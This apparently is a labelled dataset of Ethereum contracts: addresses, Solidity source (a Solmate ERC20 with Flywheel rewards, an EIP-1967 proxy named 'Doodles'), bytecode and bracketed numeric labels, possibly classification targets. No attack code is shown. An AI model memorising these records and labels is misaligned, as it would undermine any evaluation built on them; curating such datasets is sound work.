} | 0x60806040526004361061014b5760003560e01c80637c0b8de2116100b6578063a4d66daf1161006f578063a4d66daf146103a8578063b1c9fe6e146103be578063c03afb59146103e5578063efef39a114610405578063f2fde38b14610418578063f3fef3a31461043857600080fd5b80637c0b8de2146102e35780638456cb591461031b5780638da5cb5b1461033057806391b7f5ed14610345578063a035b1fe14610365578063a34805691461037b57600080fd5b80634a7c01ec116101085780634a7c01ec146102405780634b0bddd21461025657806353d6fd59146102765780635c975abb1461029657806360b80331146102ae578063715018a6146102ce57600080fd5b806306661abd146101505780631d1113c41461017957806324d7806c1461019b57806327ea6f2b146101db5780633af32abf146101fb5780633f4ba83a1461022b575b600080fd5b34801561015c57600080fd5b50610166600a5481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b50610199610194366004611028565b610458565b005b3480156101a757600080fd5b506101cb6101b6366004610fa3565b60016020526000908152604090205460ff1681565b6040519015158152602001610170565b3480156101e757600080fd5b506101996101f6366004611112565b610556565b34801561020757600080fd5b506101cb610216366004610fa3565b60036020526000908152604090205460ff1681565b34801561023757600080fd5b506101996105d9565b34801561024c57600080fd5b5061016660095481565b34801561026257600080fd5b50610199610271366004610ff3565b610635565b34801561028257600080fd5b50610199610291366004610ff3565b6106c4565b3480156102a257600080fd5b5060045460ff166101cb565b3480156102ba57600080fd5b506101996102c9366004611112565b61076e565b3480156102da57600080fd5b506101996107e6565b3480156102ef57600080fd5b50600654610303906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b34801561032757600080fd5b5061019961081f565b34801561033c57600080fd5b50610303610879565b34801561035157600080fd5b50610199610360366004611112565b610888565b34801561037157600080fd5b5061016660075481565b34801561038757600080fd5b50610166610396366004610fa3565b600b6020526000908152604090205481565b3480156103b457600080fd5b5061016660085481565b3480156103ca57600080fd5b506002546103d89060ff1681565b604051610170919061112b565b3480156103f157600080fd5b506101996104003660046110f1565b6108fe565b610199610413366004611112565b610989565b34801561042457600080fd5b50610199610433366004610fa3565b610bff565b34801561044457600080fd5b50610199610453366004610fc7565b610c9f565b3360009081526001602052604090205460ff168061048e5750610479610879565b6001600160a01b0316336001600160a01b0316145b6104b35760405162461bcd60e51b81526004016104aa906111b2565b60405180910390fd5b80518251146104f75760405162461bcd60e51b815260206004820152601060248201526f13195b99dd1a081b9bdd08195c5d585b60821b60448201526064016104aa565b60005b82518110156105515761053f838281518110610518576105186112cc565b6020026020010151838381518110610532576105326112cc565b60200260200101516106c4565b8061054981611285565b9150506104fa565b505050565b3361055f610879565b6001600160a01b0316146105855760405162461bcd60e51b81526004016104aa9061117d565b6008819055610592610879565b6001600160a01b03167fe1da0d200f1c237767b2a71e6538c013078a9202955cf600248e8d9115a0205b6008546040516105ce91815260200190565b60405180910390a250565b3360009081526001602052604090205460ff168061060f57506105fa610879565b6001600160a01b0316336001600160a01b0316145b61062b5760405162461bcd60e51b81526004016104aa906111b2565b610633610d04565b565b3361063e610879565b6001600160a01b0316146106645760405162461bcd60e51b81526004016104aa9061117d565b6001600160a01b038216600081815260016020908152604091829020805460ff191685151590811790915591519182527fe68d2c359a771606c400cf8b87000cf5864010363d6a736e98f5047b7bbe18e991015b60405180910390a25050565b3360009081526001602052604090205460ff16806106fa57506106e5610879565b6001600160a01b0316336001600160a01b0316145b6107165760405162461bcd60e51b81526004016104aa906111b2565b6001600160a01b038216600081815260036020908152604091829020805460ff191685151590811790915591519182527f0aa5ec5ffdc7f6f9c4d0dded489d7450297155cb2f71cb771e02427f7dff4f5191016106b8565b33610777610879565b6001600160a01b03161461079d5760405162461bcd60e51b81526004016104aa9061117d565b60098190556107aa610879565b6001600160a01b03167ffb0617dd05c05cbd7b30338efade11063771579ea1c799b22c1b2c3c1ca93ca76009546040516105ce91815260200190565b336107ef610879565b6001600160a01b0316146108155760405162461bcd60e51b81526004016104aa9061117d565b6106336000610d97565b3360009081526001602052604090205460ff16806108555750610840610879565b6001600160a01b0316336001600160a01b0316145b6108715760405162461bcd60e51b81526004016104aa906111b2565b610633610de7565b6000546001600160a01b031690565b33610891610879565b6001600160a01b0316146108b75760405162461bcd60e51b81526004016104aa9061117d565b60078190556108c4610879565b6001600160a01b03167f0d86730737b142fc160892fa8a0f2db687a92a0e294d1ad70624cf5acef03b84826040516105ce91815260200190565b33610907610879565b6001600160a01b03161461092d5760405162461bcd60e51b81526004016104aa9061117d565b6002805482919060ff19166001838381111561094b5761094b6112b6565b0217905550336001600160a01b03167f67ca9b3cd6017c38eaea1ee82df7d13f29371de22860af4bdc3cb48753908c22826040516105ce919061112b565b60045460ff16156109ac5760405162461bcd60e51b81526004016104aa90611153565b6109b4610879565b6001600160a01b0316336001600160a01b03161480610a03575060016002805460ff16908111156109e7576109e76112b6565b148015610a0357503360009081526003602052604090205460ff165b80610a2257506002805460ff1681811115610a2057610a206112b6565b145b610a6e5760405162461bcd60e51b815260206004820152601d60248201527f556e617661696c61626c6520666f722063757272656e7420706861736500000060448201526064016104aa565b60026005541415610ac15760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016104aa565b6002600555600754600090610ad69083611266565b905080341015610b1d5760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742056616c756560701b60448201526064016104aa565b60085482600a54610b2e919061124e565b1115610b675760405162461bcd60e51b815260206004820152600860248201526714dbdb19081bdd5d60c21b60448201526064016104aa565b600954336000908152600b6020526040902054610b8590849061124e565b111580610baa5750610b95610879565b6001600160a01b0316336001600160a01b0316145b610bed5760405162461bcd60e51b815260206004820152601460248201527315d85b1b195d081b1a5b5a5d081c995858da195960621b60448201526064016104aa565b610bf682610e3f565b50506001600555565b33610c08610879565b6001600160a01b031614610c2e5760405162461bcd60e51b81526004016104aa9061117d565b6001600160a01b038116610c935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104aa565b610c9c81610d97565b50565b33610ca8610879565b6001600160a01b031614610cce5760405162461bcd60e51b81526004016104aa9061117d565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610551573d6000803e3d6000fd5b60045460ff16610d4d5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104aa565b6004805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60045460ff1615610e0a5760405162461bcd60e51b81526004016104aa90611153565b6004805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610d7a3390565b6006546040516340c10f1960e01b8152336004820152602481018390526001600160a01b03909116906340c10f1990604401600060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b5050505080600a54610eb1919061124e565b600a55336000908152600b6020526040902054610ecf90829061124e565b336000818152600b6020526040908190209290925590517fa512fb2532ca8587f236380171326ebb69670e86a2ba0c4412a3fcca4c3ada9b906105ce9084815260200190565b600082601f830112610f2657600080fd5b81356020610f3b610f368361122a565b6111f9565b80838252828201915082860187848660051b8901011115610f5b57600080fd5b60005b85811015610f8157610f6f82610f8e565b84529284019290840190600101610f5e565b5090979650505050505050565b80358015158114610f9e57600080fd5b919050565b600060208284031215610fb557600080fd5b8135610fc0816112f8565b9392505050565b60008060408385031215610fda57600080fd5b8235610fe5816112f8565b946020939093013593505050565b6000806040838503121561100657600080fd5b8235611011816112f8565b915061101f60208401610f8e565b90509250929050565b6000806040838503121561103b57600080fd5b823567ffffffffffffffff8082111561105357600080fd5b818501915085601f83011261106757600080fd5b81356020611077610f368361122a565b8083825282820191508286018a848660051b890101111561109757600080fd5b600096505b848710156110c35780356110af816112f8565b83526001969096019591830191830161109c565b50965050860135925050808211156110da57600080fd5b506110e785828601610f15565b9150509250929050565b60006020828403121561110357600080fd5b813560038110610fc057600080fd5b60006020828403121561112457600080fd5b5035919050565b602081016003831061114d57634e487b7160e01b600052602160045260246000fd5b91905290565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526027908201527f43616c6c657220646f6573206e6f7420686176652041646d696e2f4f776e65726040820152662061636365737360c81b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715611222576112226112e2565b604052919050565b600067ffffffffffffffff821115611244576112446112e2565b5060051b60200190565b60008219821115611261576112616112a0565b500190565b6000816000190483118215151615611280576112806112a0565b500290565b6000600019821415611299576112996112a0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610c9c57600080fdfea2646970667358221220d0e28b0ff5643cbb27b8e1db15ccc4c10192fc3bcd4655877bd989f4f29c110164736f6c63430008070033 | [
38
] |
0xf34dcdf4275e9a27c2db14605ef6dd51b4d5f4eb | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed output.
success := 0
}
}
}
}
/**
@title Rewards Module for Flywheel
@notice The rewards module is a minimal interface for determining the quantity of rewards accrued to a flywheel market.
Different module strategies include:
* a static reward rate per second
* a decaying reward rate
* a dynamic just-in-time reward stream
* liquid governance reward delegation
*/
interface IFlywheelRewards {
function getAccruedRewards(ERC20 market, uint32 lastUpdatedTimestamp) external returns (uint256 rewards);
}
/**
@title Flywheel Dynamic Reward Stream
@notice Determines rewards based on how many reward tokens appeared in the market itself since last accrual.
All rewards are transferred atomically, so there is no need to use the last reward timestamp.
*/
contract FlywheelDynamicRewards is IFlywheelRewards {
using SafeTransferLib for ERC20;
/// @notice the reward token paid
ERC20 public immutable rewardToken;
/// @notice the flywheel core contract
address public immutable flywheel;
constructor(ERC20 _rewardToken, address _flywheel) {
rewardToken = _rewardToken;
flywheel = _flywheel;
}
/**
@notice calculate and transfer accrued rewards to flywheel core
@param market the market to accrue rewards for
@return amount the amount of tokens accrued and transferred
*/
function getAccruedRewards(ERC20 market, uint32) external override returns (uint256 amount) {
require(msg.sender == flywheel, "!flywheel");
amount = rewardToken.balanceOf(address(market));
if (amount != 0) rewardToken.transferFrom(address(market), flywheel, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100415760003560e01c80637acf5b9214610046578063b334db7b1461008a578063f7c618c1146100ab575b600080fd5b61006d7f000000000000000000000000fe64b570b64b97eeeef9179cd98fdd8743ae564d81565b6040516001600160a01b0390911681526020015b60405180910390f35b61009d610098366004610291565b6100d2565b604051908152602001610081565b61006d7f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b81565b6000336001600160a01b037f000000000000000000000000fe64b570b64b97eeeef9179cd98fdd8743ae564d161461013c5760405162461bcd60e51b815260206004820152600960248201526808599b1e5dda19595b60ba1b604482015260640160405180910390fd5b6040516370a0823160e01b81526001600160a01b0384811660048301527f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b16906370a0823190602401602060405180830381865afa1580156101a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c691906102df565b9050801561028b576040516323b872dd60e01b81526001600160a01b0384811660048301527f000000000000000000000000fe64b570b64b97eeeef9179cd98fdd8743ae564d81166024830152604482018390527f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b16906323b872dd906064016020604051808303816000875af1158015610265573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061028991906102f8565b505b92915050565b600080604083850312156102a457600080fd5b82356001600160a01b03811681146102bb57600080fd5b9150602083013563ffffffff811681146102d457600080fd5b809150509250929050565b6000602082840312156102f157600080fd5b5051919050565b60006020828403121561030a57600080fd5b8151801515811461031a57600080fd5b939250505056fea2646970667358221220a60e3064ff6415734098a8fdd9ec5f065d3676d9721ce5091ab5c67c8ab9bb9564736f6c634300080a0033 | [
16
] |
0xf34e52aff477829116437c24e6182f6a91775d43 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract Doodles {
// Doodles
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "address error");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209527332b29d7d20f5d80908f8